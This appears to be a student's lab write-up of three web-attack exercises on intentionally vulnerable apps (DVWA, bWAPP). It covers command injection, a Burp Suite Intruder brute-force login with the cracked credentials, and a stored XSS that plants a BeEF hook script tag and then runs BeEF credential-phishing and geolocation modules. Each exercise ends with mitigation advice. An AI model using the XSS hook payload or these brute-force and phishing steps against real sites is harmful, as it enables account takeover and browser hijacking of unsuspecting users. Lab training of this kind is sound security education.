**Web Application 1: Your Wish Is My Command Injection: Part 1**

1. Access Vagrant and open a browser.
2. Open the terminal an and run the command:

* [cd ./Documents/web-vulns && docker-compose up]
* Leave the page after running the command.

1. Open Chrome, and go to the web page:

* [http://192.168.13.25] or [http://192.168.13.25/vulnerabilities/exec/]

1. Login to the web page named DVWA

* User name: admin
* Password: password

1. Go to the Command Injection option
2. Type in the following IP addresses and commands

* [ect-passwd.png](https://drive.google.com/file/d/1fgFm8u4qdYvaYI0lYihXns1ofa2CLmao/view?usp=sharing)
* [ect-host.png](https://drive.google.com/file/d/1TH_T7FKU91UYHdoV7Um5pZ5skWX8H32p/view?usp=sharing)

Recommended mitigation strategies:

* Have Server-side validation that does not allow the selection of unintended files.​
* Segregation of confidential files
* Restrict web server account accessibility

**Web Application 2: A Brute Force to Be Reckoned With: Part 2**

1. Open Vagrant and go to the webpage

* [http://192.168.13.35/install.php.]

1. Then login into the page

* Login: bee
* Password: bug

1. Then in [bwapp] go to the webpage:

* [http://192.168.13.35/ba\_insecure\_login\_1.php]

1. Use [FoxyProxy] and [Burp Suite] that we downloaded from the past week's activities to access the login

* Lo/gin: test-user
* Password: test-passwd
* [bwapp.png](https://drive.google.com/file/d/1Ulw49WtjL08gutXPfW33rqpoGQWw6n4q/view?usp=sharing)
* [Burp Suite.png](https://drive.google.com/file/d/1kHOUg9hRcIAGAXFy55OJJgPFCMNmHb_0/view?usp=sharing)

1. Click the Intruder tab and Verify Target
2. Setup Positions, select attack type Cluster bomb, and Configure and add login and password as positions

* [Target.png](https://drive.google.com/file/d/1VdOPVZfuNQHpyyCTS6zlKFCOSL3YBq3-/view?usp=sharing)

1. On the Payload tab, choose [Payload type] as “Simple list”

* [List of Administrators] is for the first payload
* [Breached list of Passwords] is for the second payload
* [Payload.png](https://drive.google.com/file/d/1NPsUzeHLZltZledAln7j9mieNShIeh_2/view?usp=sharing)

1. Start the attack

* [attack.png](https://drive.google.com/file/d/1CAAU8QZ7HsTFIa6B7pAecDFDpJuto_Bz/view?usp=sharing)

1. The result gave that the username was [tonystark] and the password was [I am Iron Man]

* [Login.png](https://drive.google.com/file/d/18RicgrR9dZASuEQ2xVv7hAbb9MuBihsB/view?usp=sharing)

Recommended mitigation strategies:

* Mitigations can include requiring complex usernames and passwords, using multi-factored authentication, and enabling a lockout after a certain amount of failed login attempts.

**Web Application 3: Where's the BeEF?**

1. BeEF hook and write payload

* BeEF hook: http://127.0.0.1:3000/hook.js
* Payload: <script src="http://127.0.0.1:3000/hook.js"></script>

1. Change the max length of the message box from “50” to “100” then put the payload in the message box.

* [maxlength.png](https://drive.google.com/file/d/1rfYmNhW7OlQ0O6mVlhb1Loml5m44zSGc/view?usp=sharing)

1. A couple of BeEF exploits

* Social Engineering >> Pretty Theft
  + [petty theif.png](https://drive.google.com/file/d/1l-orF6OspvEsU1BykRf_9V9owp396ASG/view?usp=sharing)
* Social Engineering >> Fake Notification Bar
  + [fake notifcation bar.png](https://drive.google.com/file/d/11RnheVy86u6DnjHVwXKJlSkZFhX8XEes/view?usp=sharing)]
* Host >> Get Geolocation (Third Party)
  + [third party.png](https://drive.google.com/file/d/1lsw-CzHZkRc3AVXGUZ1AJ3ARK7EYTBzS/view?usp=sharing)

1. Recommended mitigation strategies

* Input validation is a common method used to mitigate cross-site scripting.